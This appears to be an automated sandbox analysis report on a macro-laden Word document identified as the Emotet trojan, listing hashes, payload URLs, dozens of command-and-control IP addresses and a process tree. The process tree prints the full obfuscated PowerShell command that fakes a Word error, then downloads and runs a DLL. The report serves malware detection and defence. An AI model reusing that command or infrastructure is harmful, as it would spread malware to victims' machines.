Analysis
-
max time kernel
146s -
max time network
151s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
26-01-2021 09:58
Behavioral task
behavioral1
Sample
SecuriteInfo.com.VB.Trojan.Valyria.3730.16598.8612.doc
Resource
win7v20201028
Behavioral task
behavioral2
Sample
SecuriteInfo.com.VB.Trojan.Valyria.3730.16598.8612.doc
Resource
win10v20201028
General
-
Target
SecuriteInfo.com.VB.Trojan.Valyria.3730.16598.8612.doc
-
Size
140KB
-
MD5
3e920f73bd01f7f2bc523365586cb1a6
-
SHA1
c8b23cb6c337de253f9260bfb9448842fca79634
-
SHA256
11f1815179241d0f4acf9c2e9a9bc84ce4aa2e7c3a4f88ad6e40af2471db5d2e
-
SHA512
ce68fa7ba60f519dff090789ab4d7a7772b5e06b4615757c400f57dc951876766f08d90c7fb8eff4f3dd9bcab1b0f43eb3186f97084292bf826229ab87fea1b9
Malware Config
Extracted
http://nightlifemumbai.club/x/0wBD3/
https://shop.nowfal.dev/wp-includes/RlMObf2j0/
http://e-wdesign.eu/wp-content/bn1IgDejh/
http://traumfrauen-ukraine.de/bin/JyeS/
https://jflmktg.wpcomstaging.com/wp-content/AK/
https://linhkienmaytinh.tctedu.com/wp-snapshots/VzJM/
Extracted
emotet
Epoch3
190.55.186.229:80
203.157.152.9:7080
157.245.145.87:443
132.248.38.158:80
110.172.180.180:8080
70.32.89.105:8080
161.49.84.2:80
37.46.129.215:8080
50.116.78.109:8080
115.79.195.246:80
178.62.254.156:8080
175.103.38.146:80
188.226.165.170:8080
91.93.3.85:8080
162.144.145.58:8080
117.2.139.117:443
190.85.46.52:7080
201.193.160.196:80
152.32.75.74:443
195.201.56.70:8080
192.210.217.94:8080
91.83.93.103:443
172.104.46.84:8080
201.212.61.66:80
186.96.170.61:80
74.208.173.91:8080
182.73.7.59:8080
139.59.12.63:8080
211.110.229.161:8080
122.116.104.238:8443
223.17.215.76:80
195.159.28.244:8080
82.78.179.117:443
2.58.16.86:8080
65.32.168.171:80
58.27.215.3:8080
179.233.3.89:80
190.19.169.69:443
203.160.167.243:80
178.254.36.182:8080
202.29.237.113:8080
79.133.6.236:8080
103.93.220.182:80
88.58.209.2:80
24.230.124.78:80
203.56.191.129:8080
186.146.229.172:80
91.75.75.46:80
68.133.75.203:8080
103.229.73.17:8080
116.202.10.123:8080
139.59.61.215:443
46.105.131.68:8080
2.82.75.215:80
75.127.14.170:8080
120.51.34.254:80
185.142.236.163:443
139.5.101.203:80
203.153.216.178:7080
188.166.220.180:7080
178.33.167.120:8080
162.144.42.60:8080
201.163.74.204:80
103.80.51.61:8080
49.206.16.156:80
78.90.78.210:80
110.37.224.243:80
27.78.27.110:443
190.18.184.113:80
172.193.14.201:80
192.163.221.191:8080
157.7.164.178:8081
183.91.3.63:80
109.99.146.210:8080
54.38.143.245:8080
192.241.220.183:8080
180.148.4.130:8080
190.107.118.125:80
8.4.9.137:8080
163.53.204.180:443
143.95.101.72:8080
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4068 3512 cmd.exe -
Blocklisted process makes network request 15 IoCs
Processes:
powershell.exerundll32.exeflow pid process 18 876 powershell.exe 20 876 powershell.exe 22 876 powershell.exe 24 876 powershell.exe 25 876 powershell.exe 27 876 powershell.exe 36 3928 rundll32.exe 37 3928 rundll32.exe 43 3928 rundll32.exe 44 3928 rundll32.exe 45 3928 rundll32.exe 46 3928 rundll32.exe 47 3928 rundll32.exe 48 3928 rundll32.exe 49 3928 rundll32.exe -
Loads dropped DLL 2 IoCs
Processes:
rundll32.exerundll32.exepid process 1684 rundll32.exe 2164 rundll32.exe -
Drops file in System32 directory 1 IoCs
Processes:
rundll32.exedescription ioc process File opened for modification C:\Windows\SysWOW64\Hracjbmct\yjysitah.hkx rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 832 WINWORD.EXE 832 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 23 IoCs
Processes:
powershell.exerundll32.exepid process 876 powershell.exe 876 powershell.exe 876 powershell.exe 3928 rundll32.exe 3928 rundll32.exe 3928 rundll32.exe 3928 rundll32.exe 3928 rundll32.exe 3928 rundll32.exe 3928 rundll32.exe 3928 rundll32.exe 3928 rundll32.exe 3928 rundll32.exe 3928 rundll32.exe 3928 rundll32.exe 3928 rundll32.exe 3928 rundll32.exe 3928 rundll32.exe 3928 rundll32.exe 3928 rundll32.exe 3928 rundll32.exe 3928 rundll32.exe 3928 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 876 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 832 WINWORD.EXE 832 WINWORD.EXE 832 WINWORD.EXE 832 WINWORD.EXE 832 WINWORD.EXE 832 WINWORD.EXE 832 WINWORD.EXE -
Suspicious use of WriteProcessMemory 18 IoCs
Processes:
cmd.exepowershell.exerundll32.exerundll32.exerundll32.exerundll32.exedescription pid process target process PID 4068 wrote to memory of 2844 4068 cmd.exe msg.exe PID 4068 wrote to memory of 2844 4068 cmd.exe msg.exe PID 4068 wrote to memory of 876 4068 cmd.exe powershell.exe PID 4068 wrote to memory of 876 4068 cmd.exe powershell.exe PID 876 wrote to memory of 3972 876 powershell.exe rundll32.exe PID 876 wrote to memory of 3972 876 powershell.exe rundll32.exe PID 3972 wrote to memory of 1684 3972 rundll32.exe rundll32.exe PID 3972 wrote to memory of 1684 3972 rundll32.exe rundll32.exe PID 3972 wrote to memory of 1684 3972 rundll32.exe rundll32.exe PID 1684 wrote to memory of 2164 1684 rundll32.exe rundll32.exe PID 1684 wrote to memory of 2164 1684 rundll32.exe rundll32.exe PID 1684 wrote to memory of 2164 1684 rundll32.exe rundll32.exe PID 2164 wrote to memory of 3976 2164 rundll32.exe rundll32.exe PID 2164 wrote to memory of 3976 2164 rundll32.exe rundll32.exe PID 2164 wrote to memory of 3976 2164 rundll32.exe rundll32.exe PID 3976 wrote to memory of 3928 3976 rundll32.exe rundll32.exe PID 3976 wrote to memory of 3928 3976 rundll32.exe rundll32.exe PID 3976 wrote to memory of 3928 3976 rundll32.exe rundll32.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.VB.Trojan.Valyria.3730.16598.8612.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\cmd.execmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IAAgAFMAZQB0ACAAIABEAGIATgBNACAAKABbAFQAWQBQAGUAXQAoACIAewA0AH0AewA1AH0AewAzAH0AewAyAH0AewAxAH0AewAwAH0AIgAtAEYAIAAnAHkAJwAsACcAUgAnACwAJwBvACcALAAnAEkAUgBlAGMAdAAnACwAJwBzAHkAJwAsACcAUwB0AGUAbQAuAGkAbwAuAGQAJwApACAAKQA7ACAAIABTAFYAIAAgADAAagBBACAAKABbAHQAeQBwAEUAXQAoACIAewAwAH0AewA2AH0AewA1AH0AewAyAH0AewA3AH0AewA0AH0AewAxAH0AewAzAH0AIgAgAC0ARgAgACcAUwB5AHMAdABFACcALAAnAEEATgBBACcALAAnAFMARQBSAHYAJwAsACcARwBlAFIAJwAsACcATwBJAG4AdABtACcALAAnAFQALgAnACwAJwBtAC4AbgBFACcALAAnAEkAYwBlAHAAJwApACAAKQAgACAAOwAgACQATwByAGIAXwBjAGgAMgA9ACQATQA0ADEAQgAgACsAIABbAGMAaABhAHIAXQAoADMAMwApACAAKwAgACQARwAwADgAQwA7ACQARQA1ADAATgA9ACgAKAAnAEEAJwArACcANQA1ACcAKQArACcAWAAnACkAOwAgACAAKAAgAGwAcwAgACAAdgBBAHIASQBBAEIAbABlADoAZABCAE4AbQAgACAAKQAuAFYAQQBsAFUAZQA6ADoAIgBDAFIAYABFAGEAYABUAGUAZABJAHIAZQBjAGAAVABgAG8AcgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAQgAnACsAJwBkACcAKwAnADAAJwArACgAJwBDAGgAYQAxACcAKwAnAF8ANQAnACsAJwBqAEIAZAAwACcAKwAnAFAAJwApACsAKAAnAHoAJwArACcAeQByACcAKQArACcAeAB5ACcAKwAoACcAdgBCAGQAJwArACcAMAAnACkAKQAuACIAUgBlAGAAUABMAGEAYABDAGUAIgAoACgAWwBjAEgAYQByAF0ANgA2ACsAWwBjAEgAYQByAF0AMQAwADAAKwBbAGMASABhAHIAXQA0ADgAKQAsAFsAcwB0AFIASQBuAEcAXQBbAGMASABhAHIAXQA5ADIAKQApACkAOwAkAFAANAA2AEoAPQAoACcATwAnACsAKAAnADUAJwArACcAXwBIACcAKQApADsAIAAgACQAMABqAEEAOgA6ACIAUwBFAEMAVQBgAFIAaQBUAHkAUAByAE8AdABgAE8AYABDAE8ATAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzACcAKwAnADEAMgAnACkAKQA7ACQAVgAwADAATgA9ACgAKAAnAFUAJwArACcAMgA4ACcAKQArACcARwAnACkAOwAkAEYAZQB0AGEAYwB3AGMAIAA9ACAAKAAnAEoAJwArACgAJwA0ADcAJwArACcASwAnACkAKQA7ACQAWAA2ADEARAA9ACgAJwBDACcAKwAoACcAMwAnACsAJwA5AFMAJwApACkAOwAkAFEAZgBfAHoANgA2AHQAPQAkAEgATwBNAEUAKwAoACgAJwBuAGEAJwArACcAVQBDACcAKwAnAGgAJwArACcAYQAxACcAKwAoACcAXwAnACsAJwA1AGoAJwApACsAKAAnAG4AYQBVACcAKwAnAFAAegB5AHIAeAB5AHYAJwArACcAbgBhAFUAJwApACkALgAiAHIAYABlAFAAbABhAEMAZQAiACgAKABbAGMASABBAFIAXQAxADEAMAArAFsAYwBIAEEAUgBdADkANwArAFsAYwBIAEEAUgBdADgANQApACwAJwBcACcAKQApACsAJABGAGUAdABhAGMAdwBjACsAJwAuAGQAJwAgACsAIAAnAGwAbAAnADsAJABEADkAOABBAD0AKAAnAFUAMAAnACsAJwA1AE4AJwApADsAJABGAGwANgBiAHcAMABjAD0AJwBoACcAIAArACAAJwB0AHQAJwAgACsAIAAnAHAAJwA7ACQARABlAGwANwB3AGYAeQA9ACgAKAAnAG4AJwArACcAcwAgAHcAdQAgAGQAJwArACcAYgAgAG4AZAA6ACcAKwAnAC8ALwAnACkAKwAnAG4AJwArACgAJwBpAGcAaAB0AGwAJwArACcAaQAnACkAKwAoACcAZgAnACsAJwBlAG0AJwApACsAKAAnAHUAbQAnACsAJwBiACcAKQArACgAJwBhAGkALgAnACsAJwBjAGwAdQBiAC8AeAAnACsAJwAvADAAdwBCAEQAMwAnACsAJwAvACcAKQArACgAJwAhAG4AcwAgAHcAJwArACcAdQAgACcAKQArACgAJwBkAGIAIABuACcAKwAnAGQAcwA6AC8ALwAnACsAJwBzACcAKQArACcAaAAnACsAKAAnAG8AJwArACcAcAAuAG4AbwB3ACcAKwAnAGYAYQBsAC4AJwArACcAZABlAHYAJwApACsAKAAnAC8AdwBwAC0AJwArACcAaQAnACkAKwAoACcAbgBjACcAKwAnAGwAdQBkACcAKwAnAGUAcwAnACkAKwAnAC8AUgAnACsAJwBsAE0AJwArACgAJwBPAGIAZgAyAGoAJwArACcAMAAnACsAJwAvACEAbgBzACcAKQArACgAJwAgAHcAdQAnACsAJwAgAGQAJwApACsAKAAnAGIAIAAnACsAJwBuACcAKQArACcAZAA6ACcAKwAoACcALwAvAGUALQB3ACcAKwAnAGQAZQAnACkAKwAoACcAcwAnACsAJwBpAGcAbgAnACkAKwAoACcALgBlAHUAJwArACcALwB3AHAALQBjACcAKwAnAG8AbgAnACsAJwB0AGUAbgB0AC8AYgBuADEASQBnACcAKwAnAEQAZQBqAGgALwAhACcAKwAnAG4AJwArACcAcwAgACcAKwAnAHcAdQAgACcAKwAnAGQAJwArACcAYgAnACkAKwAnACAAJwArACgAJwBuAGQAJwArACcAOgAnACkAKwAoACcALwAvAHQAcgBhAHUAbQBmAHIAYQB1AGUAJwArACcAbgAnACsAJwAtAHUAJwArACcAawByAGEAaQBuAGUAJwArACcALgBkACcAKwAnAGUALwAnACkAKwAnAGIAJwArACgAJwBpAG4ALwBKAHkAZQAnACsAJwBTAC8AIQBuAHMAIAAnACsAJwB3AHUAIAAnACsAJwBkACcAKQArACcAYgAnACsAKAAnACAAbgAnACsAJwBkACcAKQArACgAJwBzACcAKwAnADoALwAvAGoAZgBsACcAKwAnAG0AawB0AGcALgB3AHAAYwAnACsAJwBvACcAKwAnAG0AJwArACcAcwB0AGEAJwApACsAJwBnAGkAJwArACcAbgAnACsAJwBnACcAKwAoACcALgBjAG8AbQAnACsAJwAvAHcAcAAnACkAKwAoACcALQBjAG8AJwArACcAbgAnACkAKwAoACcAdABlAG4AJwArACcAdAAvACcAKQArACcAQQAnACsAJwBLACcAKwAnAC8AJwArACcAIQBuACcAKwAoACcAcwAnACsAJwAgAHcAdQAgACcAKwAnAGQAYgAnACsAJwAgAG4AZABzADoALwAvAGwAaQAnACkAKwAoACcAbgBoAGsAaQAnACsAJwBlAG4AbQBhACcAKwAnAHkAdAAnACsAJwBpACcAKQArACgAJwBuAGgAJwArACcALgAnACkAKwAnAHQAJwArACcAYwAnACsAKAAnAHQAZQAnACsAJwBkAHUALgBjAG8AbQAnACsAJwAvACcAKQArACcAdwAnACsAKAAnAHAALQBzAG4AYQAnACsAJwBwAHMAJwArACcAaABvAHQAJwArACcAcwAvAFYAegBKAE0ALwAnACkAKQAuACIAcgBgAEUAcABMAGAAQQBDAEUAIgAoACgAJwBuACcAKwAnAHMAIAAnACsAKAAnAHcAdQAnACsAJwAgAGQAYgAgAG4AZAAnACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAbgBqACcALAAnAHQAcgAnACkALAAnAHkAagAnACwAJwBzAGMAJwAsACQARgBsADYAYgB3ADAAYwAsACcAdwBkACcAKQBbADMAXQApAC4AIgBzAGAAUABMAEkAdAAiACgAJABIADYANABCACAAKwAgACQATwByAGIAXwBjAGgAMgAgACsAIAAkAFcAOAAyAEIAKQA7ACQASAA5ADEAUwA9ACgAJwBCACcAKwAoACcANQA5ACcAKwAnAFEAJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEQAdQAyAGoAbwAxAGoAIABpAG4AIAAkAEQAZQBsADcAdwBmAHkAKQB7AHQAcgB5AHsAKAAuACgAJwBOACcAKwAnAGUAdwAtAE8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAHMAeQBTAFQAZQBNAC4ATgBFAFQALgBXAGUAQgBDAGwAaQBlAE4AdAApAC4AIgBEAE8AYAB3AG4ATABvAEEARABGAGAAaQBsAEUAIgAoACQARAB1ADIAagBvADEAagAsACAAJABRAGYAXwB6ADYANgB0ACkAOwAkAE8AMgAzAFAAPQAoACcAWgA2ACcAKwAnADgAWQAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJAHQAJwArACcAZQAnACsAJwBtACcAKQAgACQAUQBmAF8AegA2ADYAdAApAC4AIgBsAGAAZQBuAEcAdABoACIAIAAtAGcAZQAgADMAMQAwADYANQApACAAewAuACgAJwByACcAKwAnAHUAJwArACcAbgBkAGwAbAAzADIAJwApACAAJABRAGYAXwB6ADYANgB0ACwAKAAoACcAQQBuACcAKwAnAHkAJwApACsAKAAnAFMAdAAnACsAJwByAGkAJwApACsAJwBuAGcAJwApAC4AIgBUAE8AYABzAHQAYABSAEkATgBnACIAKAApADsAJABZADIAOABLAD0AKAAnAEUAJwArACgAJwAxACcAKwAnADQAVgAnACkAKQA7AGIAcgBlAGEAawA7ACQARAA4ADMAUQA9ACgAJwBUACcAKwAoACcAXwAnACsAJwAwAEgAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEMAOQAxAEYAPQAoACcASAAnACsAKAAnADgAOAAnACsAJwBWACcAKQApAA==1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\msg.exemsg Admin /v Word experienced an error trying to open the file.2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w hidden -enc IAAgAFMAZQB0ACAAIABEAGIATgBNACAAKABbAFQAWQBQAGUAXQAoACIAewA0AH0AewA1AH0AewAzAH0AewAyAH0AewAxAH0AewAwAH0AIgAtAEYAIAAnAHkAJwAsACcAUgAnACwAJwBvACcALAAnAEkAUgBlAGMAdAAnACwAJwBzAHkAJwAsACcAUwB0AGUAbQAuAGkAbwAuAGQAJwApACAAKQA7ACAAIABTAFYAIAAgADAAagBBACAAKABbAHQAeQBwAEUAXQAoACIAewAwAH0AewA2AH0AewA1AH0AewAyAH0AewA3AH0AewA0AH0AewAxAH0AewAzAH0AIgAgAC0ARgAgACcAUwB5AHMAdABFACcALAAnAEEATgBBACcALAAnAFMARQBSAHYAJwAsACcARwBlAFIAJwAsACcATwBJAG4AdABtACcALAAnAFQALgAnACwAJwBtAC4AbgBFACcALAAnAEkAYwBlAHAAJwApACAAKQAgACAAOwAgACQATwByAGIAXwBjAGgAMgA9ACQATQA0ADEAQgAgACsAIABbAGMAaABhAHIAXQAoADMAMwApACAAKwAgACQARwAwADgAQwA7ACQARQA1ADAATgA9ACgAKAAnAEEAJwArACcANQA1ACcAKQArACcAWAAnACkAOwAgACAAKAAgAGwAcwAgACAAdgBBAHIASQBBAEIAbABlADoAZABCAE4AbQAgACAAKQAuAFYAQQBsAFUAZQA6ADoAIgBDAFIAYABFAGEAYABUAGUAZABJAHIAZQBjAGAAVABgAG8AcgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAQgAnACsAJwBkACcAKwAnADAAJwArACgAJwBDAGgAYQAxACcAKwAnAF8ANQAnACsAJwBqAEIAZAAwACcAKwAnAFAAJwApACsAKAAnAHoAJwArACcAeQByACcAKQArACcAeAB5ACcAKwAoACcAdgBCAGQAJwArACcAMAAnACkAKQAuACIAUgBlAGAAUABMAGEAYABDAGUAIgAoACgAWwBjAEgAYQByAF0ANgA2ACsAWwBjAEgAYQByAF0AMQAwADAAKwBbAGMASABhAHIAXQA0ADgAKQAsAFsAcwB0AFIASQBuAEcAXQBbAGMASABhAHIAXQA5ADIAKQApACkAOwAkAFAANAA2AEoAPQAoACcATwAnACsAKAAnADUAJwArACcAXwBIACcAKQApADsAIAAgACQAMABqAEEAOgA6ACIAUwBFAEMAVQBgAFIAaQBUAHkAUAByAE8AdABgAE8AYABDAE8ATAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzACcAKwAnADEAMgAnACkAKQA7ACQAVgAwADAATgA9ACgAKAAnAFUAJwArACcAMgA4ACcAKQArACcARwAnACkAOwAkAEYAZQB0AGEAYwB3AGMAIAA9ACAAKAAnAEoAJwArACgAJwA0ADcAJwArACcASwAnACkAKQA7ACQAWAA2ADEARAA9ACgAJwBDACcAKwAoACcAMwAnACsAJwA5AFMAJwApACkAOwAkAFEAZgBfAHoANgA2AHQAPQAkAEgATwBNAEUAKwAoACgAJwBuAGEAJwArACcAVQBDACcAKwAnAGgAJwArACcAYQAxACcAKwAoACcAXwAnACsAJwA1AGoAJwApACsAKAAnAG4AYQBVACcAKwAnAFAAegB5AHIAeAB5AHYAJwArACcAbgBhAFUAJwApACkALgAiAHIAYABlAFAAbABhAEMAZQAiACgAKABbAGMASABBAFIAXQAxADEAMAArAFsAYwBIAEEAUgBdADkANwArAFsAYwBIAEEAUgBdADgANQApACwAJwBcACcAKQApACsAJABGAGUAdABhAGMAdwBjACsAJwAuAGQAJwAgACsAIAAnAGwAbAAnADsAJABEADkAOABBAD0AKAAnAFUAMAAnACsAJwA1AE4AJwApADsAJABGAGwANgBiAHcAMABjAD0AJwBoACcAIAArACAAJwB0AHQAJwAgACsAIAAnAHAAJwA7ACQARABlAGwANwB3AGYAeQA9ACgAKAAnAG4AJwArACcAcwAgAHcAdQAgAGQAJwArACcAYgAgAG4AZAA6ACcAKwAnAC8ALwAnACkAKwAnAG4AJwArACgAJwBpAGcAaAB0AGwAJwArACcAaQAnACkAKwAoACcAZgAnACsAJwBlAG0AJwApACsAKAAnAHUAbQAnACsAJwBiACcAKQArACgAJwBhAGkALgAnACsAJwBjAGwAdQBiAC8AeAAnACsAJwAvADAAdwBCAEQAMwAnACsAJwAvACcAKQArACgAJwAhAG4AcwAgAHcAJwArACcAdQAgACcAKQArACgAJwBkAGIAIABuACcAKwAnAGQAcwA6AC8ALwAnACsAJwBzACcAKQArACcAaAAnACsAKAAnAG8AJwArACcAcAAuAG4AbwB3ACcAKwAnAGYAYQBsAC4AJwArACcAZABlAHYAJwApACsAKAAnAC8AdwBwAC0AJwArACcAaQAnACkAKwAoACcAbgBjACcAKwAnAGwAdQBkACcAKwAnAGUAcwAnACkAKwAnAC8AUgAnACsAJwBsAE0AJwArACgAJwBPAGIAZgAyAGoAJwArACcAMAAnACsAJwAvACEAbgBzACcAKQArACgAJwAgAHcAdQAnACsAJwAgAGQAJwApACsAKAAnAGIAIAAnACsAJwBuACcAKQArACcAZAA6ACcAKwAoACcALwAvAGUALQB3ACcAKwAnAGQAZQAnACkAKwAoACcAcwAnACsAJwBpAGcAbgAnACkAKwAoACcALgBlAHUAJwArACcALwB3AHAALQBjACcAKwAnAG8AbgAnACsAJwB0AGUAbgB0AC8AYgBuADEASQBnACcAKwAnAEQAZQBqAGgALwAhACcAKwAnAG4AJwArACcAcwAgACcAKwAnAHcAdQAgACcAKwAnAGQAJwArACcAYgAnACkAKwAnACAAJwArACgAJwBuAGQAJwArACcAOgAnACkAKwAoACcALwAvAHQAcgBhAHUAbQBmAHIAYQB1AGUAJwArACcAbgAnACsAJwAtAHUAJwArACcAawByAGEAaQBuAGUAJwArACcALgBkACcAKwAnAGUALwAnACkAKwAnAGIAJwArACgAJwBpAG4ALwBKAHkAZQAnACsAJwBTAC8AIQBuAHMAIAAnACsAJwB3AHUAIAAnACsAJwBkACcAKQArACcAYgAnACsAKAAnACAAbgAnACsAJwBkACcAKQArACgAJwBzACcAKwAnADoALwAvAGoAZgBsACcAKwAnAG0AawB0AGcALgB3AHAAYwAnACsAJwBvACcAKwAnAG0AJwArACcAcwB0AGEAJwApACsAJwBnAGkAJwArACcAbgAnACsAJwBnACcAKwAoACcALgBjAG8AbQAnACsAJwAvAHcAcAAnACkAKwAoACcALQBjAG8AJwArACcAbgAnACkAKwAoACcAdABlAG4AJwArACcAdAAvACcAKQArACcAQQAnACsAJwBLACcAKwAnAC8AJwArACcAIQBuACcAKwAoACcAcwAnACsAJwAgAHcAdQAgACcAKwAnAGQAYgAnACsAJwAgAG4AZABzADoALwAvAGwAaQAnACkAKwAoACcAbgBoAGsAaQAnACsAJwBlAG4AbQBhACcAKwAnAHkAdAAnACsAJwBpACcAKQArACgAJwBuAGgAJwArACcALgAnACkAKwAnAHQAJwArACcAYwAnACsAKAAnAHQAZQAnACsAJwBkAHUALgBjAG8AbQAnACsAJwAvACcAKQArACcAdwAnACsAKAAnAHAALQBzAG4AYQAnACsAJwBwAHMAJwArACcAaABvAHQAJwArACcAcwAvAFYAegBKAE0ALwAnACkAKQAuACIAcgBgAEUAcABMAGAAQQBDAEUAIgAoACgAJwBuACcAKwAnAHMAIAAnACsAKAAnAHcAdQAnACsAJwAgAGQAYgAgAG4AZAAnACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAbgBqACcALAAnAHQAcgAnACkALAAnAHkAagAnACwAJwBzAGMAJwAsACQARgBsADYAYgB3ADAAYwAsACcAdwBkACcAKQBbADMAXQApAC4AIgBzAGAAUABMAEkAdAAiACgAJABIADYANABCACAAKwAgACQATwByAGIAXwBjAGgAMgAgACsAIAAkAFcAOAAyAEIAKQA7ACQASAA5ADEAUwA9ACgAJwBCACcAKwAoACcANQA5ACcAKwAnAFEAJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEQAdQAyAGoAbwAxAGoAIABpAG4AIAAkAEQAZQBsADcAdwBmAHkAKQB7AHQAcgB5AHsAKAAuACgAJwBOACcAKwAnAGUAdwAtAE8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAHMAeQBTAFQAZQBNAC4ATgBFAFQALgBXAGUAQgBDAGwAaQBlAE4AdAApAC4AIgBEAE8AYAB3AG4ATABvAEEARABGAGAAaQBsAEUAIgAoACQARAB1ADIAagBvADEAagAsACAAJABRAGYAXwB6ADYANgB0ACkAOwAkAE8AMgAzAFAAPQAoACcAWgA2ACcAKwAnADgAWQAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJAHQAJwArACcAZQAnACsAJwBtACcAKQAgACQAUQBmAF8AegA2ADYAdAApAC4AIgBsAGAAZQBuAEcAdABoACIAIAAtAGcAZQAgADMAMQAwADYANQApACAAewAuACgAJwByACcAKwAnAHUAJwArACcAbgBkAGwAbAAzADIAJwApACAAJABRAGYAXwB6ADYANgB0ACwAKAAoACcAQQBuACcAKwAnAHkAJwApACsAKAAnAFMAdAAnACsAJwByAGkAJwApACsAJwBuAGcAJwApAC4AIgBUAE8AYABzAHQAYABSAEkATgBnACIAKAApADsAJABZADIAOABLAD0AKAAnAEUAJwArACgAJwAxACcAKwAnADQAVgAnACkAKQA7AGIAcgBlAGEAawA7ACQARAA4ADMAUQA9ACgAJwBUACcAKwAoACcAXwAnACsAJwAwAEgAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEMAOQAxAEYAPQAoACcASAAnACsAKAAnADgAOAAnACsAJwBWACcAKQApAA==2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Cha1_5j\Pzyrxyv\J47K.dll,AnyString3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Cha1_5j\Pzyrxyv\J47K.dll,AnyString4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Users\Admin\Cha1_5j\Pzyrxyv\J47K.dll",#15⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Hracjbmct\yjysitah.hkx",UmRUo6⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Hracjbmct\yjysitah.hkx",#17⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\Cha1_5j\Pzyrxyv\J47K.dllMD5
2a8ba413fbb293f07e9dbcf61f5708f7
SHA10245cb95bb876286aada0df789fd126f5d802e84
SHA2569ecf542f504924626c0f18758a259f50e4e2f02d74c9b940bf291d4887bde56d
SHA512bdeaffcc75130c939baae4579a4ab59469726651d5d74631d793df83679d2549a676cb2ff21fc59e5a5270a40aadd8abb6bd82feb69e08b4d471aa64b76c52bc
-
\Users\Admin\Cha1_5j\Pzyrxyv\J47K.dllMD5
2a8ba413fbb293f07e9dbcf61f5708f7
SHA10245cb95bb876286aada0df789fd126f5d802e84
SHA2569ecf542f504924626c0f18758a259f50e4e2f02d74c9b940bf291d4887bde56d
SHA512bdeaffcc75130c939baae4579a4ab59469726651d5d74631d793df83679d2549a676cb2ff21fc59e5a5270a40aadd8abb6bd82feb69e08b4d471aa64b76c52bc
-
\Users\Admin\Cha1_5j\Pzyrxyv\J47K.dllMD5
2a8ba413fbb293f07e9dbcf61f5708f7
SHA10245cb95bb876286aada0df789fd126f5d802e84
SHA2569ecf542f504924626c0f18758a259f50e4e2f02d74c9b940bf291d4887bde56d
SHA512bdeaffcc75130c939baae4579a4ab59469726651d5d74631d793df83679d2549a676cb2ff21fc59e5a5270a40aadd8abb6bd82feb69e08b4d471aa64b76c52bc
-
memory/832-3-0x00007FFACA7F0000-0x00007FFACA800000-memory.dmpFilesize
64KB
-
